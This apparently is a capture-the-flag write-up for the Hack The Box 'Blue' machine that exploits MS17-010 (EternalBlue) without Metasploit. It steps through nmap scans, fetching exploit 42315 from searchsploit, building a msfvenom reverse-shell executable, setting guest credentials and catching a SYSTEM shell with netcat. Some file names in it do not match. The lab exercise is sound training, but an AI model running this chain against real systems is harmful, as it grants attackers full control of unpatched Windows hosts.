Blue Writeup

Without Metasploit

Reconnaissance

Initial Nmap Scan to find open ports, using treat all hosts as online (-Pn)

nmap -Pn 10.10.10.40

Detailed Nmap Scan :‌

Command Breakdown:‌

  • (-sV): Service version

  • (-sC): Default nmap scripts

  • (-p): Specifying ports 135,139,445

  • (-oN nmap): Saving it into a files called nmap

nmap -sC -sV -p 135,139,445 -oN nmap 10.10.10.40

Enumeration

Lets run a nmap vulnerability script to find vulnerabilities.

nmap --script vuln 10.10.10.40

We can see that it is vulnerable to ms17-010 , also known as Eternal Blue.

Exploitation

Let us go to searchsploit and search for this vulnerabilities exploit.

searchsploit ms17-010

We see from the nmap scan that it is Windows 7 machine and there are multiple versions on the exploit we chose, so lets exploit the machine using that. Now we have to copy it to our directory

searchsploit -m windows/remote/42315.py

Lets read the documentation in the script and look at the steps to use this exploit

After reading the exploit, we have 3 steps to do:

  • Download a script called mysmb.py from the location they provided in the script

  • Create a reverse shell using MSF Venom.

  • Add credentials and the reverse shell payload to the exploit

First let us download the script called mysmb.py and rename it to mysmb.py

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42315.py
mv 42315.py.1 mysmb.py

Next we have to use MSF Venom to create a executable with a reverse shell payload

msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.19 LPORT=1234 > exploit.exe

Now we have to change the exploit by adding credententials. At this moment, we don't know have or know valid credentials, so we can check what login is allowed, we can first test guest or user. We can do this using enum4linux. (-a) for simple enumeration.

enum4linux -a 10.10.10.40

We can see that guest is a know username, so lets use that, we have to add that to the USERNAME field in the script.

Now we have to add the reverse shell location and execute the script (*also remove the copy from r'cmd /c , I forgot to take it out while taking this screenshot")

Now, start the listener on your machine

nc -lvnp 1234

Now run the exploit

python 45315.py 10.10.10.40

And you should get a reverse shell, and as nt authority/system

Last updated